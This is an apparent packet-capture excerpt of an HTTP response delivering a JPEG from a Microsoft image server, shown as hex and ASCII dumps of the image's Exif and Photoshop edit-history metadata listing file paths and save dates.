2022-07-20 13:44:17 UTC	358	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Pjc1?ver=a739 Last-Modified: Tue, 05 Jul 2022 21:45:59 GMT X-Source-Length: 1871414 X-Datacenter: northeu X-ActivityId: 2db28c9b-6909-4813-a9ac-c316ff1267c0 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1871414 Cache-Control: public, max-age=331496 Expires: Sun, 24 Jul 2022 09:49:13 GMT Date: Wed, 20 Jul 2022 13:44:17 GMT Connection: close
2022-07-20 13:44:17 UTC	360	IN	Data Raw: ff d8 ff e1 26 b1 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 31 39 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: &ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:19:328"
2022-07-20 13:44:17 UTC	410	IN	Data Raw: d6 84 e1 8e 31 94 61 2f 51 31 19 4f 0f 17 a6 27 d3 08 ff 00 ab f7 3f 7f ff 00 62 21 7d 05 b6 dc df 52 c6 bd ad f5 6a 0d ac d8 1c 77 b5 ad 03 7d 97 1a c9 db bf dc da fd fe af b3 d4 51 ea 38 86 cb 31 ae 73 80 63 1f bd f6 b0 b5 92 1c cb 2a bf 6f b7 63 5b 6d 6e ad f6 32 df d0 df e9 7f 34 a3 86 3a 7e f6 5e 1e ec 47 d6 4f a9 48 b1 ce ad e3 46 fe 9a b6 fe 91 ce c5 df fa 37 fa 74 fd 3a aa b9 4e de a5 8d f6 2b 6b c9 b2 b7 16 87 7d a2 ab 1e e6 03 5d 83 75 2f 30 db 3e 9d 6d 66 cf 47 7f fc 17 a9 75 6a 21 09 71 09 44 13 44 44 c6 bf 7f 8a 12 f5 f1 7f 57 f4 59 00 b1 7a 0f ab 99 77 57 e9 f4 7e 83 1e fa ad 7b ec 0c 8c 52 e2 d7 96 fe 92 b6 c3 b6 37 1f 7b 9b ee f4 2f b3 fc 27 ee 7a 96 65 66 55 46 6e 3d 16 74 f6 39 bb 3d 41 7f b1 94 d6 d2 5c df 51 cd fe 75 b6 55 b3 77 a4 cf Data Ascii: 1a/Q1O'?b!}Rjw}Q81sc*oc[mn24:~^GOHF7t:N+k}]u/0>mfGuj!qDDDWYzwW~{R7{/'zefUFn=t9=A\QuUw
2022-07-20 13:44:17 UTC	442	IN	Data Raw: 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 31 54 31 32 3a 35 34 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f Data Ascii: 07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-07-11T12:54:26-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_
2022-07-20 13:44:17 UTC	476	IN	Data Raw: 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 30 39 30 34 31 35 5f 48 61 6c 6c 73 74 61 74 74 41 75 73 74 72 69 61 5f 35 30 30 70 78 2d 36 39 33 38 38 36 35 35 5f 47 72 61 64 69 65 6e 74 2d 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 31 35 3a 31 37 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 Data Ascii: s\v-lizagh\MS\Windows10\PrettyPics\090415_HallstattAustria_500px-69388655_Gradient-1920x1080.jpg saved 2016-07-12T15:17:03-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F
2022-07-20 13:44:17 UTC	651	IN	Data Raw: 3b 32 30 31 36 2d 30 38 2d 31 39 54 31 30 3a 35 34 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 39 54 31 32 3a 31 37 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 Data Ascii: ;2016-08-19T10:54:06-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-08-19T12:17:39-07:00 File C:\Users\v-lizagh\MS\Windows
2022-07-20 13:44:17 UTC	667	IN	Data Raw: 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 30 36 54 31 32 3a 35 35 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 6c 65 63 74 69 6f 6e 73 5c 4d 49 54 5f 45 6c 65 63 74 69 6f 6e 73 5f 35 30 30 70 78 2d 39 36 31 32 38 32 39 35 Data Ascii: ppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-10-06T12:55:42-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Elections\MIT_Elections_500px-96128295
2022-07-20 13:44:17 UTC	747	IN	Data Raw: 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 32 3a 34 34 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 Data Ascii: 0 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-11-16T12:44:48-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE64
2022-07-20 13:44:17 UTC	786	IN	Data Raw: 30 30 70 78 2d 31 32 31 31 39 30 33 39 35 5f 31 39 32 30 78 31 30 38 30 34 45 38 35 44 32 30 46 43 36 33 35 35 30 45 32 36 33 37 43 41 31 38 34 34 32 44 39 30 41 36 33 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 30 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 50 72 6f 64 75 63 74 69 76 69 74 79 54 69 70 73 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 53 74 61 72 74 4d 65 6e 75 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 37 38 38 31 32 33 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 31 3a 31 35 2d 30 38 3a 30 30 26 23 Data Ascii: 00px-121190395_1920x10804E85D20FC63550E2637CA18442D90A63.psb saved 2017-01-11T11:00:02-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\ProductivityTips\_CHOSEN\Edge-StartMenu_GettyImages-167881236_1920x1080.jpg saved 2017-01-11T11:01:15-08:00&#
2022-07-20 13:44:17 UTC	802	IN	Data Raw: 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 31 54 31 38 3a 35 32 3a 33 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 6f 6d 65 6e 73 4d 6f 6e 74 Data Ascii: #x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-02-21T18:52:32-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WomensMont
2022-07-20 13:44:17 UTC	1089	IN	Data Raw: 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 53 74 61 72 62 75 63 6b 73 5c 43 48 4f 53 45 4e 5c 4d 53 2d 52 65 77 61 72 64 73 5f 53 74 61 72 62 75 63 6b 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 33 36 35 39 34 35 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 34 38 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 Data Ascii: 20x1080.jpg saved 2017-02-28T11:44-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\Starbucks\CHOSEN\MS-Rewards_Starbucks_GettyImages-613659454_1920x1080.jpg saved 2017-02-28T11:48:56-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\A
2022-07-20 13:44:17 UTC	1160	IN	Data Raw: 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 35 31 33 34 33 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 31 3a 34 34 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 33 39 30 37 37 35 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 Data Ascii: rs\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-466513438_1920x1080.jpg saved 2017-04-12T11:44:58-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-493907750_1920x1080.jpg saved 2017
2022-07-20 13:44:17 UTC	1192	IN	Data Raw: 63 61 70 65 2e 70 73 64 20 63 6c 6f 73 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 38 54 31 38 3a 31 34 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 30 36 3a 31 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 31 30 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 Data Ascii: cape.psd closed 2017-04-28T18:14:39-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-05-05T09:06:18-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-05-05T09:10:59-07:00 File C:\Users
2022-07-20 13:44:17 UTC	1279	IN	Data Raw: 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 30 38 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 30 39 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 Data Ascii: fficeGeneric_GettyImages-175758763_1920x1080.psd saved 2017-05-12T16:08:26-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-175758763_1920x1080.jpg saved 2017-05-12T16:09:58-07:00&#x9
2022-07-20 13:44:17 UTC	1319	IN	Data Raw: 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 38 54 31 31 3a 35 39 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6d 62 6c 65 64 6f 6e 5c 43 68 6f 73 65 6e 5c 4d 49 54 2d 57 69 6d 62 6c 65 64 6f 6e 5f 34 37 30 31 30 38 35 35 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 32 30 54 30 39 3a 35 32 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 Data Ascii: ape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-06-18T11:59:27-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Wimbledon\Chosen\MIT-Wimbledon_470108550_1920x1080.jpg saved 2017-06-20T09:52:36-07:00 File Lockscreen_1920x1080_Land
2022-07-20 13:44:17 UTC	1351	IN	Data Raw: 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 33 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e Data Ascii: _Landscape.psd opened 2017-07-26T13:23:41-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Chosen\MixerEngagementFY18_GettyImages-160673315_1920x1080.psd saved 2017-07-26T13:24:43-07:00 File C:\Users\v-lizagh\MS\Win
2022-07-20 13:44:17 UTC	1399	IN	Data Raw: 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 33 33 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 32 30 3a 35 37 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 Data Ascii: 41D85C30DE643DF5B579.psb saved 2017-08-03T16:33:31-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-08-03T20:57:50-07:00 F
2022-07-20 13:44:17 UTC	1478	IN	Data Raw: 32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 30 36 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 52 4f 55 4e 44 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 31 33 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 Data Ascii: 2017-09-25T13:06:26-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\ROUND2\_CHOSEN\Crops\WindowsMMX-Rd2_500px-18226573_1920x1080.psd saved 2017-09-25T13:13:52-07:00 File WindowsMMX-Rd2_500px-18226573_1920x1080.psd opened 2017-09-25T1
2022-07-20 13:44:17 UTC	1606	IN	Data Raw: 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 32 39 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 33 33 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 5c 52 45 46 52 45 53 48 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 46 4c 43 6f 6c 6c 65 67 65 46 6f Data Ascii: 10\Lockscreen_1920x1080_Landscape.psd saved 2017-11-01T13:29:50-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-11-01T13:33:51-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\CollegeFootball\REFRESH\Crops\MIT-NFLCollegeFo
2022-07-20 13:44:17 UTC	1630	IN	Data Raw: 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 38 33 30 31 34 31 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 37 54 31 35 3a 35 35 3a 34 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 33 38 34 39 35 39 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 Data Ascii: ice\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-Skype_GettyImages-168301416_1920x1080.jpg saved 2017-11-17T15:55:47-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-Skype_GettyImages-503849593_1920x1080.jpg
